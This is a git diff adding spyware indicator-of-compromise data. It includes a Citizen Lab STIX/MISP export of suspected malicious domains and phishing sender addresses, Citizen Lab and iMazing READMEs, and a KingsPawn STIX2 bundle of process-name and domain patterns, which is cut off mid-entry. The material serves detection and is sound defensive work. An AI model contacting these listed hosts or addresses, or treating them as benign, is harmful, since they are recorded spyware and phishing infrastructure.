IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webserverredirect99.com (MISP Attribute #18687) + Malware Artifacts + Domain Watchlist + Network activity: webserverredirect99.com (MISP Attribute #18687) + + + + + webserverredirect99.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: fastserverusa.com (MISP Attribute #18943) + Malware Artifacts + Domain Watchlist + Network activity: fastserverusa.com (MISP Attribute #18943) + + + + + fastserverusa.com + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: n0replyupdatesnotificationskj9@gmail.com (MISP Attribute #19039) + Malware Artifacts + Malicious E-mail + Payload delivery: n0replyupdatesnotificationskj9@gmail.com (MISP Attribute #19039) + + + + + + + n0replyupdatesnotificationskj9@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: n0replyn0tificati0nupdatemail@gmail.com (MISP Attribute #19040) + Malware Artifacts + Malicious E-mail + Payload delivery: n0replyn0tificati0nupdatemail@gmail.com (MISP Attribute #19040) + + + + + + + n0replyn0tificati0nupdatemail@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: n0reply.notificationexsasuve@gmail.com (MISP Attribute #19041) + Malware Artifacts + Malicious E-mail + Payload delivery: n0reply.notificationexsasuve@gmail.com (MISP Attribute #19041) + + + + + + + n0reply.notificationexsasuve@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: noreply.535466586you6585tubadh@gmail.com (MISP Attribute #19042) + Malware Artifacts + Malicious E-mail + Payload delivery: noreply.535466586you6585tubadh@gmail.com (MISP Attribute #19042) + + + + + + + noreply.535466586you6585tubadh@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: no.reply.n0tification.alsdkch@gmail.com (MISP Attribute #19043) + Malware Artifacts + Malicious E-mail + Payload delivery: no.reply.n0tification.alsdkch@gmail.com (MISP Attribute #19043) + + + + + + + no.reply.n0tification.alsdkch@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: noreply.notifications.gkejkdgj@gmail.com (MISP Attribute #19044) + Malware Artifacts + Malicious E-mail + Payload delivery: noreply.notifications.gkejkdgj@gmail.com (MISP Attribute #19044) + + + + + + + noreply.notifications.gkejkdgj@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: noreplynotification.updates@gmail.com (MISP Attribute #19045) + Malware Artifacts + Malicious E-mail + Payload delivery: noreplynotification.updates@gmail.com (MISP Attribute #19045) + + + + + + + noreplynotification.updates@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: no.reply.updates.asdfaffgh78jg@gmail.com (MISP Attribute #19046) + Malware Artifacts + Malicious E-mail + Payload delivery: no.reply.updates.asdfaffgh78jg@gmail.com (MISP Attribute #19046) + + + + + + + no.reply.updates.asdfaffgh78jg@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: scorpiobond4@gmail.com (MISP Attribute #19047) + Malware Artifacts + Malicious E-mail + Payload delivery: scorpiobond4@gmail.com (MISP Attribute #19047) + + + + + + + scorpiobond4@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: sophia.1johnson@mail.com (MISP Attribute #19048) + Malware Artifacts + Malicious E-mail + Payload delivery: sophia.1johnson@mail.com (MISP Attribute #19048) + + + + + + + sophia.1johnson@mail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: noreply.mailingservice.3kdj9e9@gmail.com (MISP Attribute #19049) + Malware Artifacts + Malicious E-mail + Payload delivery: noreply.mailingservice.3kdj9e9@gmail.com (MISP Attribute #19049) + + + + + + + noreply.mailingservice.3kdj9e9@gmail.com + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: High + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/README.md b/data/ioc/spyware/citizen_lab/README.md new file mode 100644 index 0000000..d7804af --- /dev/null +++ b/data/ioc/spyware/citizen_lab/README.md @@ -0,0 +1,56 @@ +malware-indicators +================== + +This repository includes all malware indicators that were found during the course of [Citizen Lab](https://citizenlab.org) investigations. Each directory corresponds to a single Citizen Lab report as seen below. + +# Reports + +| Directory | Link | Published | +|-------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------| +| [202006_DarkBasin](https://github.com/citizenlab/malware-indicators/tree/master/202006_DarkBasin) | [Dark Basin: Uncovering a Massive Hack-For-Hire Operation](https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/) | June 9, 2020 | +| [201909_MissingLink](https://github.com/citizenlab/malware-indicators/tree/master/201909_MissingLink) | [MISSING LINK: Tibetan Groups Targeted with Mobile Exploits](https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits) | Sept 24, 2019 | +| [201905_EndlessMayfly](https://github.com/citizenlab/malware-indicators/tree/master/201905_EndlessMayfly) | [Burned After Reading: Endless Mayfly’s Ephemeral Disinformation Campaign](https://citizenlab.ca/2019/05/burned-after-reading-endless-mayflys-ephemeral-disinformation-campaign) | May 14, 2019 | +| [201810_TheKingdomCameToCanada](https://github.com/citizenlab/malware-indicators/tree/master/201810_TheKingdomCameToCanada) | [The Kingdom Came to Canada: How Saudi-Linked Digital Espionage Reached Canadian Soil](https://citizenlab.ca/2018/10/the-kingdom-came-to-canada-how-saudi-linked-digital-espionage-reached-canadian-soil/) | Oct 1, 2018 | +| [201808_FamiliarFeeling](https://github.com/citizenlab/malware-indicators/tree/master/201808_FamiliarFeeling) | [Familiar Feeling: A Malware Campaign Targeting the Tibetan Diaspora Resurfaces](https://citizenlab.ca/2018/08/familiar-feeling-a-malware-campaign-targeting-the-tibetan-diaspora-resurfaces) | Aug 8, 2018 | +| [201803_BadTraffic](https://github.com/citizenlab/malware-indicators/tree/master/201803_BadTraffic) | [Bad Traffic: Sandvine’s PacketLogic Devices Used to Deploy Government Spyware in Turkey and Redirect Egyptian Users to Affiliate Ads?](https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria) | Mar 8, 2018 | +| [201801_SpyingOnABudget](https://github.com/citizenlab/malware-indicators/tree/master/201801_SpyingOnABudget) | [Spying on a Budget: Inside a Phishing Operation with Targets in the Tibetan Community](https://citizenlab.ca/2018/01/spying-on-a-budget-inside-a-phishing-operation-with-targets-in-the-tibetan-community) | Jan 30, 2018 | +| [201712_Cyberbit](https://github.com/citizenlab/malware-indicators/tree/master/201712_Cyberbit) | [Champing at the Cyberbit: Ethiopian Dissidents Targeted with New Commercial Spyware](https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/) | Dec 6, 2017 | +| [201707_InsiderInfo](https://github.com/citizenlab/malware-indicators/tree/master/201707_InsiderInfo) | [Insider Information: An intrusion campaign targeting Chinese language news sites](https://citizenlab.org/2017/07/insider-information-an-intrusion-campaign-targeting-chinese-language-news-sites/) | Jul 5, 2017 | +| [201706_RecklessRedux](https://github.com/citizenlab/malware-indicators/tree/master/201706_RecklessRedux) | [Reckless Redux: Senior Mexican Legislators and Politicians Targeted with NSO Spyware](https://citizenlab.org/2017/06/more-mexican-nso-targets/) | Jun 29, 2017 | +| [201706_RecklessExploit](https://github.com/citizenlab/malware-indicators/tree/master/201706_RecklessExploit) | [Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware](https://citizenlab.org/2017/06/reckless-exploit-mexico-nso/) | Jun 19, 2017 | +| [201705_TaintedLeaks](https://github.com/citizenlab/malware-indicators/tree/master/201705_TaintedLeaks) | [Tainted Leaks: Disinformation and Phishing With a Russian Nexus](https://citizenlab.org/2017/05/tainted-leaks-disinformation-phish/) | May 25, 2017 | +| [201702_NilePhish](https://github.com/citizenlab/malware-indicators/tree/master/201702_NilePhish) | [Nile Phish: Large-Scale Phishing Campaign Targeting Egyptian Civil Society](https://citizenlab.org/2017/02/nilephish-report/) | Feb 2, 2017 | +| [201611_KeyBoy](https://github.com/citizenlab/malware-indicators/tree/master/201611_KeyBoy) | [It’s Parliamentary: KeyBoy and the targeting of the Tibetan Community](https://citizenlab.org/2016/11/parliament-keyboy/) | Nov 11, 2016 | +| [201608_NSO_Group](https://github.com/citizenlab/malware-indicators/tree/master/201608_NSO_Group) | ["The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender"](https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/) | Aug 24, 2016 | +| [201608_Group5](https://github.com/citizenlab/malware-indicators/tree/master/201608_Group5) | ["Group5: Syria and the Iranian Connection"](https://citizenlab.org/2016/08/group5-syria/) | Aug 2, 2016 | +| [201605_Stealth_Falcon](https://github.com/citizenlab/malware-indicators/tree/master/201605_Stealth_Falcon) | ["Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents"](https://citizenlab.org/2016/05/stealth-falcon/) | May 29, 2016 | +| [201604_UP007_SLServer](https://github.com/citizenlab/malware-indicators/tree/master/201604_UP007_SLServer) | [Between Hong Kong and Burma: Tracking UP007 and SLServer Espionage Campaigns](https://citizenlab.org/2016/04/between-hong-kong-and-burma/) | Apr 18, 2016 | +| [201603_Shifting_Tactics](https://github.com/citizenlab/malware-indicators/tree/master/201603_Shifting_Tactics) | [Shifting Tactics: Tracking changes in years-long espionage campaign against Tibetans](https://citizenlab.org/2016/03/shifting-tactics/) | Mar 10, 2016 | +| [201512_PackRAT](https://github.com/citizenlab/malware-indicators/tree/master/201512_PackRAT) | ["Packrat: Seven Years of a South American Threat Actor"](https://citizenlab.org/2015/12/packrat-report/) | Dec 8, 2015 | +| [201510_NGO_Burma](https://github.com/citizenlab/malware-indicators/tree/master/201510_NGO_Burma) | [Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites](https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/) | Oct 16, 2015 | +| [201411_Communities@Risk](https://github.com/citizenlab/malware-indicators/tree/master/201411_Communities%40Risk) | [Communities @ Risk: Targeted Digital Threats Against Civil Society](https://targetedthreats.net). | Nov 11, 2014 | + +Yara signatures can be [found here](https://github.com/citizenlab/malware-signatures) + +# Formats + +The indicators are provided in the following formats. + +* CSV - plain text comma seperated value with the following columns: + * uuid - A unique identifier for the indicator. + * event_id - a number that corresponds to the event. + * category - type of broad category for indicator (ex: network activity, payload) + * type - type of indicator (ex: ip-dst, domain, url) + * comment - text comment or annotation + * to_ids - whether this indicator is applicable to be included in an IDS or not + * date - the data when the indicator was added. +* MISP JSON - Structured format used by the [Malware Information Sharing Platform](https://github.com/MISP/MISP) +* OpenIOC - Format for [OpenIOC](http://www.openioc.org/) an open framework for sharing threat intelligence. +* STIX XML - Format used by the [STIX project](https://stixproject.github.io/) + +# License + +All data is provided under Creative Commons +Attribution-NonCommercial-ShareAlike 4.0 International and available in full +[here](https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode) and summarized +[here](https://creativecommons.org/licenses/by-nc-sa/4.0/) diff --git a/data/ioc/spyware/imazing/LICENSE b/data/ioc/spyware/imazing/LICENSE new file mode 100644 index 0000000..0ae99bd --- /dev/null +++ b/data/ioc/spyware/imazing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 DigiDNA + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/data/ioc/spyware/imazing/README.md b/data/ioc/spyware/imazing/README.md new file mode 100644 index 0000000..ffb1795 --- /dev/null +++ b/data/ioc/spyware/imazing/README.md @@ -0,0 +1,20 @@ +# iMazing Indicators Of Compromise +Indicators of compromise (in STIX v2 format) generated by the iMazing team. + +The iMazing Spyware Analyzer automatically downloads the latest versions of indicators of compromise provided by Amnesty Tech's Security Lab, Citizen Lab, Google’s Threat Analysis Group, and other sources listed below. It also includes those available in this repository, generated by our team, when there are no public STIX files available for a specific spyware or malware, or when we believe our STIX files are better suited to how iMazing Spyware Analyzer works. Note that iMazing analyzes data by extracting it from iOS backups, rather than accessing it from the device file system via a jailbreak. + +## iMazing Spyware Analyzer downloads the following indicators: +* https://github.com/DigiDNA/iMazing-Indicators-Of-Compromise/blob/main/imazing_stix_files.json + * https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso + * https://github.com/mvt-project/mvt-indicators/tree/main/intellexa_predator + * https://github.com/mvt-project/mvt-indicators/tree/main/2022-06-23_rcs_lab + * https://github.com/AssoEchap/stalkerware-indicators + * https://github.com/DigiDNA/iMazing-Indicators-Of-Compromise/blob/main/spywares/2023-04-11_KingsPawn-QuaDream/kingspawn.stix2 + * https://github.com/mvt-project/mvt-indicators/tree/main/2023-06_01_operation_triangulation + * https://github.com/AmnestyTech/investigations/tree/master/2024-12-16_serbia_novispy + * https://github.com/AmnestyTech/investigations/tree/master/2024-05-02_wintego_helios + * https://github.com/mvt-project/mvt-indicators/tree/eaglemsgspy/2024-12-25_eaglemsgspy + * https://github.com/mvt-project/mvt-indicators/tree/main/candiru + +## You can find iMazing Spyware Analyzer's code in the following repository: +* https://github.com/DigiDNA/iMazing-Malware-Analyzer diff --git a/data/ioc/spyware/imazing/imazing_stix_files.json b/data/ioc/spyware/imazing/imazing_stix_files.json new file mode 100644 index 0000000..4a7bf01 --- /dev/null +++ b/data/ioc/spyware/imazing/imazing_stix_files.json @@ -0,0 +1,14 @@ +{ + "stix_urls": [ + "https://raw.githubusercontent.com/AmnestyTech/investigations/master/2021-07-18_nso/pegasus.stix2", + "https://raw.githubusercontent.com/mvt-project/mvt-indicators/main/intellexa_predator/predator.stix2", + "https://raw.githubusercontent.com/mvt-project/mvt-indicators/main/2022-06-23_rcs_lab/rcs.stix2", + "https://raw.githubusercontent.com/AssoEchap/stalkerware-indicators/master/generated/stalkerware.stix2", + "https://raw.githubusercontent.com/DigiDNA/iMazing-Indicators-Of-Compromise/main/spywares/2023-04-11_KingsPawn-QuaDream/kingspawn.stix2", + "https://raw.githubusercontent.com/mvt-project/mvt-indicators/main/2023-06_01_operation_triangulation/operation_triangulation.stix2", + "https://raw.githubusercontent.com/AmnestyTech/investigations/master/2024-12-16_serbia_novispy/novispy.stix2", + "https://raw.githubusercontent.com/mvt-project/mvt-indicators/refs/heads/main/candiru/candiru.stix2", + "https://raw.githubusercontent.com/AmnestyTech/investigations/refs/heads/master/2024-05-02_wintego_helios/wintego_helios.stix2", + "https://raw.githubusercontent.com/mvt-project/mvt-indicators/refs/heads/eaglemsgspy/2024-12-25_eaglemsgspy/eaglemsgspy.stix2" + ] +} diff --git a/data/ioc/spyware/imazing/spywares/2023-04-11_KingsPawn-QuaDream/README.md b/data/ioc/spyware/imazing/spywares/2023-04-11_KingsPawn-QuaDream/README.md new file mode 100644 index 0000000..ffb6879 --- /dev/null +++ b/data/ioc/spyware/imazing/spywares/2023-04-11_KingsPawn-QuaDream/README.md @@ -0,0 +1,8 @@ +# KingsPawn Spyware Indicators of Compromise +This folder contains indicators of compromise (in STIX v2 format) generated by the iMazing team for the KingsPawn spyware from QuaDream, which was discovered by Citizen Lab and Microsoft. + +The spyware targeted iOS 14 using a zero-click exploit called _ENDOFDAYS_. Further details can be found here: +* https://citizenlab.ca/2023/04/spyware-vendor-quadream-exploits-victims-customers/ +* https://www.microsoft.com/en-us/security/blog/2023/04/11/dev-0196-quadreams-kingspawn-malware-used-to-target-civil-society-in-europe-north-america-the-middle-east-and-southeast-asia/ + +These indicators of compromise are based on the list of domains provided in Microsoft's article, as well as the process names mentioned in both Citizen Lab and Microsoft's articles. \ No newline at end of file diff --git a/data/ioc/spyware/imazing/spywares/2023-04-11_KingsPawn-QuaDream/kingspawn.stix2 b/data/ioc/spyware/imazing/spywares/2023-04-11_KingsPawn-QuaDream/kingspawn.stix2 new file mode 100644 index 0000000..6f11ee5 --- /dev/null +++ b/data/ioc/spyware/imazing/spywares/2023-04-11_KingsPawn-QuaDream/kingspawn.stix2 @@ -0,0 +1,4960 @@ +{ + "id" : "bundle--cc1724d8-3272-495a-88b8-de058cd8e26a", + "objects" : [ + { + "created" : "2023-04-12T15:59:29.379Z", + "description" : "IOCs for KingsPawn", + "id" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "is_family" : false, + "modified" : "2023-04-12T15:59:29.379Z", + "name" : "KingsPawn", + "spec_version" : "2.1", + "type" : "malware" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d687e3cc-905b-4868-a7a1-e8b158bf042d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[process:name='subridged']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--fea28f40-1c6e-4f8e-8b70-b315cc504bed", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d687e3cc-905b-4868-a7a1-e8b158bf042d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--11871fc3-03c9-4d3a-9a96-776c1c9d2b28", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[process:name='com.apple.avcapture']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--22b79f30-46ab-4a5b-9412-f19ad52dc2c0", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--11871fc3-03c9-4d3a-9a96-776c1c9d2b28", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--8e665347-fb62-499e-9d45-97e8be2da165", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fosterunch.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--71308fbb-c60a-4aed-9527-677f44dde112", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--8e665347-fb62-499e-9d45-97e8be2da165", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--22985440-22a0-4a64-b1ed-f3cf7302330d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='womnbling.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--fb9c6264-7bb3-47c9-9b92-1394c435c554", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--22985440-22a0-4a64-b1ed-f3cf7302330d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--06bfb2c4-47e4-472c-88b3-20c0b6919d22", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='zebra-arts.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--65342c1c-6dcf-43a9-8fde-b7d6524e1b5b", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--06bfb2c4-47e4-472c-88b3-20c0b6919d22", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--4a5de80b-7700-446a-a744-304f324ba629", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='pennywines.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--099bbfc5-ef68-4e94-abc9-bab34b5697b3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--4a5de80b-7700-446a-a744-304f324ba629", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--cce740de-a8b0-4ac7-9b16-75241d1a6577", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='choccoline.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--02ce557c-d033-437c-b4ac-30f14c423829", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--cce740de-a8b0-4ac7-9b16-75241d1a6577", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6638e8df-1aa7-4596-836a-1c3244c9ebf7", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='lateparties.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4454a478-74b7-4384-827b-cbcacbcc9a83", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6638e8df-1aa7-4596-836a-1c3244c9ebf7", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f7c9dd97-d1e9-44eb-abc6-6d246d28165c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='foundurycolletive.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4f1af332-97c9-46aa-a576-6b84433f8067", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f7c9dd97-d1e9-44eb-abc6-6d246d28165c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--142be060-1504-424c-9eb7-79988cc8617b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='jungelfruitime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3d63a2cf-7ce6-49a7-86ac-0f1ba5185219", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--142be060-1504-424c-9eb7-79988cc8617b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--33318ea7-4992-48c3-8cda-9b8957f8fb7b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gameboysess.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--5e5aed5e-e040-4884-aaf6-751a88654f84", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--33318ea7-4992-48c3-8cda-9b8957f8fb7b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7800c47f-def1-40db-96e9-e8be40904393", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='healthcovid19.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--98c2ef28-e783-4d65-9103-979efbb70440", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7800c47f-def1-40db-96e9-e8be40904393", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--494c948d-d267-40bb-9c7f-15e473ce46a6", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='codingstudies.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--052c3ea7-8121-405d-913b-477fa50fd9ae", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--494c948d-d267-40bb-9c7f-15e473ce46a6", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--5f858b88-bfcb-407e-9d8c-13b75a0c0b5f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='hoteluxurysm.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : 